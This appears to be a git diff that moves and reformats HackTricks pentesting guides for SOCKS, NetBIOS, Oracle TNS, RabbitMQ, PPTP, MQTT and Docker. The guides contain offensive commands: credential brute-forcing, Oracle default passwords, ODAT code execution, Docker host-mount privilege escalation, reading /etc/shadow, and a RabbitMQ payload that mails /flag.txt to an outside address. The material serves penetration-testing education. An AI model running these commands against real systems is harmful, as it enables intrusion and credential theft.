+## Basic Information -# Basic Information - -SOCKS is an Internet protocol that exchanges network packets between a client and server through a proxy server. SOCKS5 optionally provides authentication, +SOCKS is an Internet protocol that exchanges network packets between a client and server through a proxy server. SOCKS5 optionally provides authentication,\ so only authorized users may access a server. -Practically, a SOCKS server proxies TCP connections to an arbitrary IP address, and provides a means for UDP packets to be forwarded. +Practically, a SOCKS server proxies TCP connections to an arbitrary IP address, and provides a means for UDP packets to be forwarded.\ SOCKS performs at Layer 5 of the OSI model **Default Port:** 1080 -# Enumeration +## Enumeration -## Authentication Check +### Authentication Check ```bash nmap -p 1080 --script socks-auth-info ``` -## Brute Force +### Brute Force -### Basic usage +#### Basic usage ```bash nmap --script socks-brute -p 1080 ``` -### Advanced usage +#### Advanced usage ```bash nmap --script socks-brute --script-args userdb=users.txt,passdb=rockyou.txt,unpwdb.timelimit=30m -p 1080 ``` -### Output +#### Output -```text +``` PORT STATE SERVICE 1080/tcp open socks | socks-brute: @@ -61,31 +60,29 @@ PORT STATE SERVICE |_ Performed 1921 guesses in 6 seconds, average tps: 320 ``` -# Tunneling and Port Forwarding +## Tunneling and Port Forwarding -## Basic proxychains usage +### Basic proxychains usage Setup proxy chains to use socks proxy -```text +``` nano /etc/proxychains4.conf ``` Edit the bottom and add your proxy -```text +``` socks5 10.10.10.10 1080 ``` With auth -```text +``` socks5 10.10.10.10 1080 username password ``` -### More info: [Tunneling and Port Forwarding](../tunneling-and-port-forwarding.md) - - +#### More info: [Tunneling and Port Forwarding](../generic-methodologies-and-resources/tunneling-and-port-forwarding.md)
@@ -102,5 +99,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
- - diff --git a/pentesting/1099-pentesting-java-rmi.md b/network-services-pentesting/1099-pentesting-java-rmi.md similarity index 100% rename from pentesting/1099-pentesting-java-rmi.md rename to network-services-pentesting/1099-pentesting-java-rmi.md diff --git a/pentesting/11211-memcache.md b/network-services-pentesting/11211-memcache.md similarity index 100% rename from pentesting/11211-memcache.md rename to network-services-pentesting/11211-memcache.md diff --git a/pentesting/113-pentesting-ident.md b/network-services-pentesting/113-pentesting-ident.md similarity index 100% rename from pentesting/113-pentesting-ident.md rename to network-services-pentesting/113-pentesting-ident.md diff --git a/pentesting/135-pentesting-msrpc.md b/network-services-pentesting/135-pentesting-msrpc.md similarity index 100% rename from pentesting/135-pentesting-msrpc.md rename to network-services-pentesting/135-pentesting-msrpc.md diff --git a/pentesting/137-138-139-pentesting-netbios.md b/network-services-pentesting/137-138-139-pentesting-netbios.md similarity index 96% rename from pentesting/137-138-139-pentesting-netbios.md rename to network-services-pentesting/137-138-139-pentesting-netbios.md index a5263579..ea4b16c1 100644 --- a/pentesting/137-138-139-pentesting-netbios.md +++ b/network-services-pentesting/137-138-139-pentesting-netbios.md @@ -1,4 +1,4 @@ - +# 137,138,139 - Pentesting NetBios
@@ -16,14 +16,13 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- -# NetBios Name Service +## NetBios Name Service * Name service for name registration and resolution (ports: 137/udp and 137/tcp). * Datagram distribution service for connectionless communication (port: 138/udp). * Session service for connection-oriented communication (port: 139/tcp). -## Name Service +### Name Service Every machine should have a name inside the NetBios network. To request a name, a machine should send a "Name Query" packet in broadcast and if anyone answer that it is already using that name, the machine can use that name. If there is a Name Service server, the computer could ask the Name Service server if someone is using the name that it wants to use. @@ -42,7 +41,7 @@ nbtscan /30 sudo nmap -sU -sV -T4 --script nbstat.nse -p137 -Pn -n ``` -## Datagram Distribution Service +### Datagram Distribution Service NetBIOS datagrams are sent over UDP. A datagram is sent with a "Direct Unique" or "Direct Group" packet if it's being sent to a particular NetBIOS name, or a "Broadcast" packet if it's being sent to all NetBIOS names on the network. @@ -51,7 +50,7 @@ PORT STATE SERVICE VERSION 138/udp open|filtered netbios-dgm ``` -## Session Service +### Session Service Session mode lets two computers establish a connection for a "conversation", allows larger messages to be handled, and provides error detection and recovery. @@ -70,11 +69,11 @@ PORT STATE SERVICE VERSION **Read the next page to learn how to enumerate this service:** -{% content-ref url="broken-reference" %} -[Broken link](broken-reference) +{% content-ref url="../pentesting/broken-reference/" %} +[broken-reference](../pentesting/broken-reference/) {% endcontent-ref %} -# HackTricks Automatic Commands +## HackTricks Automatic Commands ``` Protocol_Name: Netbios #Protocol Abbreviation if there is one. @@ -99,7 +98,6 @@ Entry_2: Command: nmblookup -A {IP} &&&& nbtscan {IP}/30 &&&& nmap -sU -sV -T4 --script nbstat.nse -p 137 -Pn -n {IP} ``` -
Support HackTricks and get benefits! @@ -115,5 +113,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
- - diff --git a/pentesting/1521-1522-1529-pentesting-oracle-listener/README.md b/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md similarity index 71% rename from pentesting/1521-1522-1529-pentesting-oracle-listener/README.md rename to network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md index 4b579db1..ed11dcaa 100644 --- a/pentesting/1521-1522-1529-pentesting-oracle-listener/README.md +++ b/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md @@ -1,4 +1,4 @@ - +# 1521,1522-1529 - Pentesting Oracle TNS Listener
@@ -16,33 +16,32 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+## Basic Information -# Basic Information +Oracle database (Oracle DB) is a relational database management system (RDBMS) from the Oracle Corporation (from [here](https://www.techopedia.com/definition/8711/oracle-database)). -Oracle database \(Oracle DB\) is a relational database management system \(RDBMS\) from the Oracle Corporation \(from [here](https://www.techopedia.com/definition/8711/oracle-database)\). +When enumerating Oracle the first step is to talk to the TNS-Listener that usually resides on the default port (1521/TCP, -you may also get secondary listeners on 1522–1529-). -When enumerating Oracle the first step is to talk to the TNS-Listener that usually resides on the default port \(1521/TCP, -you may also get secondary listeners on 1522–1529-\). - -```text +``` 1521/tcp open oracle-tns Oracle TNS Listener 9.2.0.1.0 (for 32-bit Windows) 1748/tcp open oracle-tns Oracle TNS Listener ``` -# Summary +## Summary -1. **Enumerate version** info \(search for **known vulns**\) -2. **Bruteforce TNS listener** communication \(not always needed\) -3. **Enumerate**/Bruteforce **SID names** \(like database names\) +1. **Enumerate version** info (search for **known vulns**) +2. **Bruteforce TNS listener** communication (not always needed) +3. **Enumerate**/Bruteforce **SID names** (like database names) 4. **Bruteforce credentials** for valid SID name discovered -5. Try to **execute code** +5. Try to **execute code** In order to user MSF oracle modules you need to install some dependencies: [**Installation**](oracle-pentesting-requirements-installation.md) -# Enumeration +## Enumeration Tools that can be used for this are: nmap, MSF and [tnscmd10g](http://dokfleed.net/files/audit/tnscmd10g.zip). -## TNS listener version +### TNS listener version ```bash nmap --script "oracle-tns-version" -p 1521 -T4 -sV @@ -53,32 +52,32 @@ tnscmd10g version -p 1521 -h Other useful TNS listener commands: -| **Command** | **Purpose** | -| :--- | :--- | -| ping | Ping the listener | -| version | Provide output of the listener version and platform information | -| status | Return the current status and variables used by the listener | -| services | Dump service data | -| debug | Dump debugging information to the listener log | -| reload | Reload the listener configuration file | -| save\_config | Write the listener configuration file to a backup location | -| stop | Invoke listener shutdown | +| **Command** | **Purpose** | +| ------------ | --------------------------------------------------------------- | +| ping | Ping the listener | +| version | Provide output of the listener version and platform information | +| status | Return the current status and variables used by the listener | +| services | Dump service data | +| debug | Dump debugging information to the listener log | +| reload | Reload the listener configuration file | +| save\_config | Write the listener configuration file to a backup location | +| stop | Invoke listener shutdown | -If you **receive an error**, could be because **TNS versions are incompatible** \(Use the `--10G` parameter with `tnscmd10`\) and if the **error persist,** the listener may be **password protected** \(you can see a list were all the [**errors are detailed here**](https://docs.oracle.com/database/121/ERRMG/TNS-00000.htm#ERRMG-GUID-D723D931-ECBA-4FA4-BF1B-1F4FE2EEBAD7)\) — don't worry… hydra to the rescue**:** +If you **receive an error**, could be because **TNS versions are incompatible** (Use the `--10G` parameter with `tnscmd10`) and if the **error persist,** the listener may be **password protected** (you can see a list were all the [**errors are detailed here**](https://docs.oracle.com/database/121/ERRMG/TNS-00000.htm#ERRMG-GUID-D723D931-ECBA-4FA4-BF1B-1F4FE2EEBAD7)) — don't worry… hydra to the rescue\*\*:\*\* -```text +``` hydra -P rockyou.txt -t 32 -s 1521 host.victim oracle-listener ``` -The TNS listener could be vulnerable to **MitM** attacks. [Check here how to check if the server is vulnerable and how to perform the attack \(all versions up to version 12c are\)](tns-poison.md). +The TNS listener could be vulnerable to **MitM** attacks. [Check here how to check if the server is vulnerable and how to perform the attack (all versions up to version 12c are)](tns-poison.md). -## SID enumeration +### SID enumeration -### **What is a SID** +#### **What is a SID** -The SID \(Service Identifier\) is essentially the database name, depending on the install you may have one or more default SIDs, or even a totally custom dba defined SID. +The SID (Service Identifier) is essentially the database name, depending on the install you may have one or more default SIDs, or even a totally custom dba defined SID. -**In some old versions \(in 9 it works\)** you could ask for the SID and the database send it to you: +**In some old versions (in 9 it works)** you could ask for the SID and the database send it to you: ```bash tnscmd10g status-p 1521 -h #The SID are inside: SERVICE=(SERVICE_NAME=) @@ -98,7 +97,7 @@ If you cant access this way to the SIDs you will need to bruteforce them: **SID Bruteforce** -I have merged the nmap and MSF sid lists into this one \(without duplicates\): +I have merged the nmap and MSF sid lists into this one (without duplicates): {% file src="../../.gitbook/assets/sids-oracle.txt" %} @@ -112,41 +111,41 @@ nmap --script +oracle-sid-brute -p 1521 10.11.1.202 #This will use the list lcat In order to use **oracle\_login** with **patator** you need to **install**: -```text +``` pip3 install cx_Oracle --upgrade ``` -# **Targeting Accounts** +## **Targeting Accounts** **Got SID?** Excellent, now let’s move to the next task and extract the user account information. From this point, you can connect to the listener and brute-force credentials. -**Metasploit** _**scanner/oracle/oracle\_login_ It has a built-in dictionary for the **most popular default values of user account** information presented as login:password. By the way, such default entries represent one of the most popular and serious security problems in Oracle. +**Metasploit** _\*\*scanner/oracle/oracle\_login_ It has a built-in dictionary for the **most popular default values of user account** information presented as login:password. By the way, such default entries represent one of the most popular and serious security problems in Oracle. **Nmap** can also help here with the script _oracle-brute_. Note that this script **mixes the logins and passwords**, that is, it tries each login against every password, and it takes quite a while! -## **Default Passwords** +### **Default Passwords** Below are some of the default passwords associated with Oracle: -* **DBSNMP/DBSNMP** — Intelligent Agent uses this to talk to the db server \(its some work to change it\) +* **DBSNMP/DBSNMP** — Intelligent Agent uses this to talk to the db server (its some work to change it) * **SYS/CHANGE\_ON\_INSTALL** — Default sysdba account before and including Oracle v9, as of version 10g this has to be different! * **PCMS\_SYS/PCMS\_SYS** — Default x account * **WMSYS/WMSYS** — Default x account * **OUTLN/OUTLN** — Default x account * **SCOTT/TIGER** — Default x account -Other **default passwords** can be found [here ](http://www.petefinnigan.com/default/oracle_default_passwords.htm)and [here](https://cirt.net/passwords?vendor=Oracle). +Other **default passwords** can be found [here ](http://www.petefinnigan.com/default/oracle\_default\_passwords.htm)and [here](https://cirt.net/passwords?vendor=Oracle). The versions 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2, and 11.2.0.3 are vulnerable to **offline brute force**. [**Read more about this technique here.**](remote-stealth-pass-brute-force.md) -## User/Pass bruteforce +### User/Pass bruteforce Different tools offered **different user/pass lists** for oracle: -* **oscan:** _/usr/share/oscanner/accounts.default_ \(169 lines\) -* **MSF-1:** _from_ admin/oracle/oracle\_login \_\_/usr/share/metasploit-framework/data/wordlists/oracle\_default\_passwords.csv \(598 lines\) -* **MSF-2:** _from scanner/oracle/oracle\_login_ _/usr/share/metasploit-framework/data/wordlists/oracle\_default\_userpass.txt_ \(568 lines\) -* **Nmap:** _/usr/share/nmap/nselib/data/oracle-default-accounts.lst_ \(687 lines\) +* **oscan:** _/usr/share/oscanner/accounts.default_ (169 lines) +* **MSF-1:** _from_ admin/oracle/oracle\_login \_\_/usr/share/metasploit-framework/data/wordlists/oracle\_default\_passwords.csv (598 lines) +* **MSF-2:** _from scanner/oracle/oracle\_login_ _/usr/share/metasploit-framework/data/wordlists/oracle\_default\_userpass.txt_ (568 lines) +* **Nmap:** _/usr/share/nmap/nselib/data/oracle-default-accounts.lst_ (687 lines) I have **mixed** all of them and **removed duplicates:** @@ -154,7 +153,7 @@ I have **mixed** all of them and **removed duplicates:** {% file src="../../.gitbook/assets/pass-oracle.txt" %} -## [Brute Force](../../brute-force.md#oraclesql) +### [Brute Force](../../generic-methodologies-and-resources/brute-force.md#oraclesql) Now, that you **know a valid SID and valid credentials**. To connect to the database you need the tool: _**sqlplus**_ and to install it you need to follow some steps: @@ -162,17 +161,17 @@ Now, that you **know a valid SID and valid credentials**. To connect to the data To login using known credentials: -```text +``` sqlplus /@/; ``` -If the TNS Listener is on a non-default port \(e.g. TCP/1522\) : +If the TNS Listener is on a non-default port (e.g. TCP/1522) : -```text +``` sqlplus /@:/; ``` -If an **account has system database priviledges \(sysdba\) or system operator \(sysop\)** you may wish to try the following: +If an **account has system database priviledges (sysdba) or system operator (sysop)** you may wish to try the following: ```bash sqlplus /@/ 'as sysdba'; @@ -180,7 +179,7 @@ sqlplus /@/ 'as sysdba'; sqlplus SYSTEM/MANAGER@192.168.0.2/ORCL 'as sysdba' ``` -# **All in One** +## **All in One** **An interesting tool is oscanner**, which will try to get some valid SID and then it will brute-force for valid credentials and try to extract some information: @@ -199,19 +198,19 @@ cd odat ./odat.py all -s -p -d #To bruteforce accounts for that SID ``` -With these options \(_-s_ and _-p_\), ODAT will **search valid SID** \(System ID\) in a first step. You can configure some options for configuring methods \(i.e. word-list or brute-force attack\). By default, ODAT will use a big word list and it will do a small brute-force attack. +With these options (_-s_ and _-p_), ODAT will **search valid SID** (System ID) in a first step. You can configure some options for configuring methods (i.e. word-list or brute-force attack). By default, ODAT will use a big word list and it will do a small brute-force attack. -If ODAT **founds at least one SID** \(e.g. _ORCL_\), it will **search valid Oracle accounts**. It will do that on **each SID found**. You can specify some options for credentials \(e.g. _--accounts-file_, _--accounts-files_, _--login-as-pwd_\). +If ODAT **founds at least one SID** (e.g. _ORCL_), it will **search valid Oracle accounts**. It will do that on **each SID found**. You can specify some options for credentials (e.g. _--accounts-file_, _--accounts-files_, _--login-as-pwd_). -For **each valid account** \(e.g. _SYS_\) **on each valid instance** \(SID\), ODAT will return **what each Oracle user can do** \(e.g. reverse shell, read files, become DBA\). +For **each valid account** (e.g. _SYS_) **on each valid instance** (SID), ODAT will return **what each Oracle user can do** (e.g. reverse shell, read files, become DBA). [**Wiki odat**](https://github.com/quentinhardy/odat/wiki) -# Remote Code Execution +## Remote Code Execution There are at least two different ways to execute commands, such as by using Java procedures and DBMS\_SCHEDULER package. By the way, you can also achieve RCE in case of SQL injection in a web application provided, of course, that the user running it has sufficient rights. At this stage, I highly recommend preparing the Oracle Database Attacking Tool: [ODAT](https://github.com/quentinhardy/odat). -## Install ODAT +### Install ODAT ```bash git clone https://github.com/quentinhardy/odat.git @@ -219,7 +218,7 @@ cd odat ./odat.py #It shouldn't be problems in Kali ``` -## Execute Code via Java Stored Procedure +### Execute Code via Java Stored Procedure ```bash ./odat.py java -s -U -P -d --exec COMMAND @@ -227,7 +226,7 @@ cd odat [More details here](oracle-rce-and-more.md#rce-java-store-procedure) -## Execute code via Scheduler +### Execute code via Scheduler ```bash ./odat.py dbmsscheduler -s -d -U -P --exec "C:\windows\system32\cmd.exe /c echo 123>>C:\hacK" @@ -235,17 +234,17 @@ cd odat [More details here](oracle-rce-and-more.md#rce-scheduler) -## Execute code via External Tables +### Execute code via External Tables ```bash ./odat.py externaltable -s -U -P -d --exec "C:/windows/system32" "calc.exe" ``` -‘ODAT.py’ requires the privilege ‘CREATE ANY DIRECTORY’, which, by default, is granted only to DBA role, since it attempts to execute the file from any and not only “your” directory \(the manual version of this attack requires less privileges\). +‘ODAT.py’ requires the privilege ‘CREATE ANY DIRECTORY’, which, by default, is granted only to DBA role, since it attempts to execute the file from any and not only “your” directory (the manual version of this attack requires less privileges). [More details here.](oracle-rce-and-more.md#rce-external-tables) -# Read/Write files +## Read/Write files ```bash ./odat.py utlfile -s -d -U -P --getFile "C:/test" token.txt token.txt @@ -254,7 +253,7 @@ cd odat [More details here](oracle-rce-and-more.md#read-write-files) -# Elevating Privileges +## Elevating Privileges [More details here](oracle-rce-and-more.md#elevating-privileges) @@ -270,11 +269,11 @@ Vulnerability tested on oracle 10.1.0.3.0 – should work on thru 10.1.0.5.0 and msf> use auxiliary/sqli/oracle/lt_findricset_cursor ``` -# Free Virtual Environment for testing +## Free Virtual Environment for testing If you want to practice attacking Oracle databases, the safest way is to register for the Oracle Developer Days Virtualbox VM: -{% embed url="http://www.oracle.com/technetwork/database/enterprise-edition/databaseappdev-vm-161299.html" caption="" %} +{% embed url="http://www.oracle.com/technetwork/database/enterprise-edition/databaseappdev-vm-161299.html" %} Most part of the information in this post was extracted from: [https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573](https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573) and from [https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/](https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/) @@ -282,9 +281,9 @@ Other interesting **references**: [http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html](http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html) -# HackTricks Automatic Commands +## HackTricks Automatic Commands -```text +``` Protocol_Name: Oracle #Protocol Abbreviation if there is one. Port_Number: 1521 #Comma separated if there is more than one. Protocol_Description: Oracle TNS Listener #Protocol Abbreviation Spelled out @@ -312,8 +311,6 @@ Entry_2: Command: nmap --script "oracle-tns-version" -p 1521 -T4 -sV {IP} ``` - -
Support HackTricks and get benefits! @@ -329,5 +326,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
- - diff --git a/pentesting/1521-1522-1529-pentesting-oracle-listener/oracle-pentesting-requirements-installation.md b/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/oracle-pentesting-requirements-installation.md similarity index 100% rename from pentesting/1521-1522-1529-pentesting-oracle-listener/oracle-pentesting-requirements-installation.md rename to network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/oracle-pentesting-requirements-installation.md diff --git a/pentesting/1521-1522-1529-pentesting-oracle-listener/oracle-rce-and-more.md b/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/oracle-rce-and-more.md similarity index 100% rename from pentesting/1521-1522-1529-pentesting-oracle-listener/oracle-rce-and-more.md rename to network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/oracle-rce-and-more.md diff --git a/pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md b/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md similarity index 100% rename from pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md rename to network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md diff --git a/pentesting/1521-1522-1529-pentesting-oracle-listener/tns-poison.md b/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/tns-poison.md similarity index 100% rename from pentesting/1521-1522-1529-pentesting-oracle-listener/tns-poison.md rename to network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/tns-poison.md diff --git a/pentesting/15672-pentesting-rabbitmq-management.md b/network-services-pentesting/15672-pentesting-rabbitmq-management.md similarity index 94% rename from pentesting/15672-pentesting-rabbitmq-management.md rename to network-services-pentesting/15672-pentesting-rabbitmq-management.md index 54ceb135..d6d7e804 100644 --- a/pentesting/15672-pentesting-rabbitmq-management.md +++ b/network-services-pentesting/15672-pentesting-rabbitmq-management.md @@ -1,4 +1,4 @@ - +# 15672 - Pentesting RabbitMQ Management
@@ -16,8 +16,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- -# Basic Information +## Basic Information You can learn more about RabbitMQ in [**5671,5672 - Pentesting AMQP**](5671-5672-pentesting-amqp.md).\ In this port you may find the RabbitMQ Management web console if the [management plugin](https://www.rabbitmq.com/management.html) is enabled.\ @@ -25,9 +24,9 @@ The main page should looks like this: ![](<../.gitbook/assets/image (270).png>) -# Enumeration +## Enumeration -The default credentials are "_**guest**_":"_**guest**_". If they aren't working you may try to [**brute-force the login**](../brute-force.md#http-post-form). +The default credentials are "_**guest**_":"_**guest**_". If they aren't working you may try to [**brute-force the login**](../generic-methodologies-and-resources/brute-force.md#http-post-form). To manually start this module you need to execute: @@ -55,11 +54,10 @@ Content-Length: 267 {"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"zevtnax+ppp@gmail.com\", \"attachments\": [{\"path\": \"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"} ``` -## Shodan +### Shodan * `port:15672 http` -
Support HackTricks and get benefits! @@ -75,5 +73,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
- - diff --git a/pentesting/1723-pentesting-pptp.md b/network-services-pentesting/1723-pentesting-pptp.md similarity index 89% rename from pentesting/1723-pentesting-pptp.md rename to network-services-pentesting/1723-pentesting-pptp.md index ae39fe0f..165afc81 100644 --- a/pentesting/1723-pentesting-pptp.md +++ b/network-services-pentesting/1723-pentesting-pptp.md @@ -1,4 +1,4 @@ - +# 1723 - Pentesting PPTP
@@ -16,32 +16,26 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+## Basic Information -# Basic Information - - -Commonly used to provide remote access to mobile devices, Point-to-Point Tunneling Protocol \(PPTP\) uses TCP port 1723 for key exchange and IP protocol 47 \(GRE\) to encrypt data between peers. +Commonly used to provide remote access to mobile devices, Point-to-Point Tunneling Protocol (PPTP) uses TCP port 1723 for key exchange and IP protocol 47 (GRE) to encrypt data between peers. **Default Port**:1723 -# Enumeration +## Enumeration ```bash nmap –Pn -sSV -p1723 ``` -## [Brute Force](../brute-force.md#pptp) +### [Brute Force](../generic-methodologies-and-resources/brute-force.md#pptp) -# Vulnerabilities +## Vulnerabilities {% embed url="https://www.schneier.com/academic/pptp/" %} {% embed url="https://github.com/moxie0/chapcrack" %} - - - -
Support HackTricks and get benefits! @@ -57,5 +51,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
- - diff --git a/pentesting/1883-pentesting-mqtt-mosquitto.md b/network-services-pentesting/1883-pentesting-mqtt-mosquitto.md similarity index 94% rename from pentesting/1883-pentesting-mqtt-mosquitto.md rename to network-services-pentesting/1883-pentesting-mqtt-mosquitto.md index e93e13ac..4687f03c 100644 --- a/pentesting/1883-pentesting-mqtt-mosquitto.md +++ b/network-services-pentesting/1883-pentesting-mqtt-mosquitto.md @@ -1,4 +1,4 @@ - +# 1883 - Pentesting MQTT (Mosquitto)
@@ -16,8 +16,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- -# Basic Information +## Basic Information MQTT stands for MQ Telemetry Transport. It is a publish/subscribe, **extremely simple and lightweight messaging protocol**, designed for constrained devices and low-bandwidth, high-latency or unreliable networks. The design principles are to minimise network bandwidth and device resource requirements whilst also attempting to ensure reliability and some degree of assurance of delivery. These principles also turn out to make the protocol ideal of the emerging “machine-to-machine” (M2M) or “Internet of Things” world of connected devices, and for mobile applications where bandwidth and battery power are at a premium. @@ -28,15 +27,15 @@ PORT STATE SERVICE REASON 1883/tcp open mosquitto version 1.4.8 syn-ack ``` -# Inspecting the traffic +## Inspecting the traffic MQTT brokers send a **CONNACK** packet in **response** to a CONNECT packet. The **return code 0x00** indicates the credentials are valid and the return code **0x05 indicates they aren't. 0x05 example:** ![](<../.gitbook/assets/image (645) (1).png>) -## [**Brute-Force MQTT**](../brute-force.md#mqtt) +### [**Brute-Force MQTT**](../generic-methodologies-and-resources/brute-force.md#mqtt) -# Pentesting MQTT +## Pentesting MQTT **Authentication is totally optional** and even if authentication is being performed, **encryption is not used by default** (credentials are sent in clear text). MITM attacks can still be executed to steal passwords. @@ -88,11 +87,11 @@ if __name__ == "__main__": main() ``` -# More information +## More information from here: [https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b](https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b) -## The Publish/Subscribe Pattern +### The Publish/Subscribe Pattern The publish/subscribe model is composed of: @@ -103,7 +102,7 @@ The publish/subscribe model is composed of: ![](https://miro.medium.com/max/1073/1\*sIxvchdgHSqAGebJjFHBAg.png) -## Packet Format +### Packet Format Every MQTT packet contains a fixed header (Figure 02).Figure 02: Fixed Header @@ -113,11 +112,10 @@ The first field of the fixed header represents the type of the MQTT Packet. All ![](https://miro.medium.com/max/1469/1\*z0fhdUVzGa0PLikH\_cyBmQ.png) -# Shodan +## Shodan * `port:1883 MQTT` -
Support HackTricks and get benefits! @@ -133,5 +131,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
- - diff --git a/pentesting/2375-pentesting-docker.md b/network-services-pentesting/2375-pentesting-docker.md similarity index 96% rename from pentesting/2375-pentesting-docker.md rename to network-services-pentesting/2375-pentesting-docker.md index 50955c50..9dd1ec1c 100644 --- a/pentesting/2375-pentesting-docker.md +++ b/network-services-pentesting/2375-pentesting-docker.md @@ -1,4 +1,4 @@ - +# 2375, 2376 Pentesting Docker
@@ -16,14 +16,13 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+## Docker Basics -# Docker Basics - -## What is +### What is The Docker Platform is the industry-leading container platform for continuous, high-velocity innovation, enabling organizations to seamlessly build and share any application — from legacy to what comes next — and securely run them anywhere. -## Basic docker architecture +### Basic docker architecture This info is from [here](https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc). @@ -35,7 +34,7 @@ This info is from [here](https://stackoverflow.com/questions/41645665/how-contai ![runC, containerD](https://i.stack.imgur.com/5aXF6.png) -## Basic commands +### Basic commands ```bash docker version #Get version of docker client, API, engine, containerd, runc, docker-init @@ -60,7 +59,7 @@ docker system prune -a # - all build cache ``` -## Containerd +### Containerd Containerd was designed to be used by Docker and Kubernetes as well as any other container platform that wants to **abstract away syscalls or OS specific functionality to run container**s on linux, windows, solaris, or other OSes. With these users in mind, we wanted to make sure that containerd has only what they need and nothing that they don’t. Realistically this is impossible but at least that is what we try for. Things like **networking are out of scope for containerd**. The reason for this is, when you are building a distributed system, networking is a very central aspect. With SDN and service discovery today, networking is way more platform specific than abstracting away netlink calls on linux. @@ -82,7 +81,7 @@ ctr task kill -s SIGKILL #Stop running container ctr container delete ``` -## Podman +### Podman **Info** [**from here**](https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html#:\~:text=What%20is%20Podman%3F,and%20support%20for%20rootless%20containers.) @@ -109,7 +108,7 @@ podman ls ``` {% endhint %} -# Basic Information +## Basic Information Remote API is running by default on 2375 port when enabled. The service by default will not require authentication allowing an attacker to start a privileged docker container. By using the Remote API one can attach hosts / (root directory) to the container and read/write files of the host’s environment. @@ -120,9 +119,9 @@ PORT STATE SERVICE 2375/tcp open docker ``` -# Enumeration +## Enumeration -## Manual +### Manual Note that in order to enumerate the docker API you can use the `docker` command or `curl` like in the following example: @@ -168,13 +167,13 @@ If you can **contact the remote docker API with the `docker` command** you can * You can `export DOCKER_HOST="tcp://localhost:2375"` and **avoid** using the `-H` parameter with the docker command {% endhint %} -### Fast privilege escalation +#### Fast privilege escalation ```bash docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash ``` -### Curl +#### Curl Sometimes you’ll see **2376** up for the **TLS** endpoint. I haven’t been able to connect to it with the docker client but you can with curl no problem to hit the docker API. @@ -210,19 +209,19 @@ curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-ope If you want more information about this, more information is available where I copied the commands from: [https://securityboulevard.com/2019/02/abusing-docker-api-socket/](https://securityboulevard.com/2019/02/abusing-docker-api-socket/) -## Automatic +### Automatic ```bash msf> use exploit/linux/http/docker_daemon_tcp nmap -sV --script "docker-*" -p ``` -# Compromising +## Compromising In the following page you can find ways to **escape from a docker container**: -{% content-ref url="../linux-unix/privilege-escalation/docker-breakout/" %} -[docker-breakout](../linux-unix/privilege-escalation/docker-breakout/) +{% content-ref url="../linux-hardening/privilege-escalation/docker-breakout/" %} +[docker-breakout](../linux-hardening/privilege-escalation/docker-breakout/) {% endcontent-ref %} Abusing this it's possible to escape form a container, you could run a weak container in the remote machine, escape from it, and compromise the machine: @@ -234,11 +233,11 @@ cat /mnt/etc/shadow * [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py) -# Privilege Escalation +## Privilege Escalation -If you are inside a host that is using docker, you may [**read this information to try to elevate privileges**](../linux-unix/privilege-escalation/#writable-docker-socket). +If you are inside a host that is using docker, you may [**read this information to try to elevate privileges**](../linux-hardening/privilege-escalation/#writable-docker-socket). -# Discovering secrets in running Docker containers +## Discovering secrets in running Docker containers ```bash docker ps [| grep ] @@ -259,9 +258,9 @@ If you want to extract 